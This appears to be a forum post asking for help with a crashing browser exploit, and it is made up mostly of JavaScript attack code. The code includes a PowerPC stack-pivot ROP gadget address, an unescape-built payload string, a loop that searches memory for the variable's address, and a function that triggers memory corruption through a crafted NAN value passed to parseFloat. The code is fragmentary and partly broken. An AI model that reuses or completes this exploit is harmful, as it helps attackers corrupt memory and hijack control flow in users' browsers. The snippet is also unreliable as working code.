any ideea why it might happen that whenever i return into the buffer now with right stack pivot gadget i crash like this code is as follows var gadget2_addr=0x00000000000106f0 //: mr r1, r11 ; blr
base_fp=unescape("\u4141")+hexw2bin(gadget2_addr)+unescape("\u0102\u0304\u0506\u0708\u0910\u1112\u1314\u1516\u1718\u1920\u2122\u2324\u2526\u2728\u2930\u3132\u3334\u3536\u3738\u3940\u4142\u4344\u4546\u4748\u4950\u5152\u5354\u5556\u5758\u5960\u6162\u6364\u6566\u6768\u6970\u7172\u7374\u7576\u7778\u7980\u8182\u8384\u8586\u8788\u8990\u9192\u9394\u9596\u9798\u9900")+unescape("\u2F2A");
ph = 0x2a2f; //this is last part from the chain reasone why used god knows
//so basically only last part ok

alert(base_fp)
do
{
if(search_max_threshold<search_range_size){
if(total_loops<max_loops){reloadInitROP();}
else{searchFail();}
return;}
base_found=false;
base_fp=base_fp.replaceAt(0,hexh2bin(ph));
base_fp_addr=findJsVariableOffset("base_fp",base_fp,search_base_offset,search_range_size,debug_mode);
//alert("nainte");
if(base_fp_addr.toString(16) != 0)
alert(base_fp_addr.toString(16));
mama=base_fp_addr;
poc_crash_browser(mama);
search_max_threshold-=search_range_size;
}while(base_fp_addr==0);
if(base_fp_addr!=0){base_found=true;base_offsets.push(base_fp_addr);setPointerOffsets();}else{base_found=false;}
//alert(base_found);
break;
function findBase()
{
initRopDefaults();
findOffset("base_fp");
//alert(base_found);
alert("finished")
//poc_crash_browser(mama);
return base_found;
}
function poc_crash_browser(exploit_addr){
var span = document.createElement("div");
document.getElementById("BodyID").appendChild(span);
span.innerHTML = -parseFloat("NAN(ffffe" + exploit_addr.toString(16) + ")");
}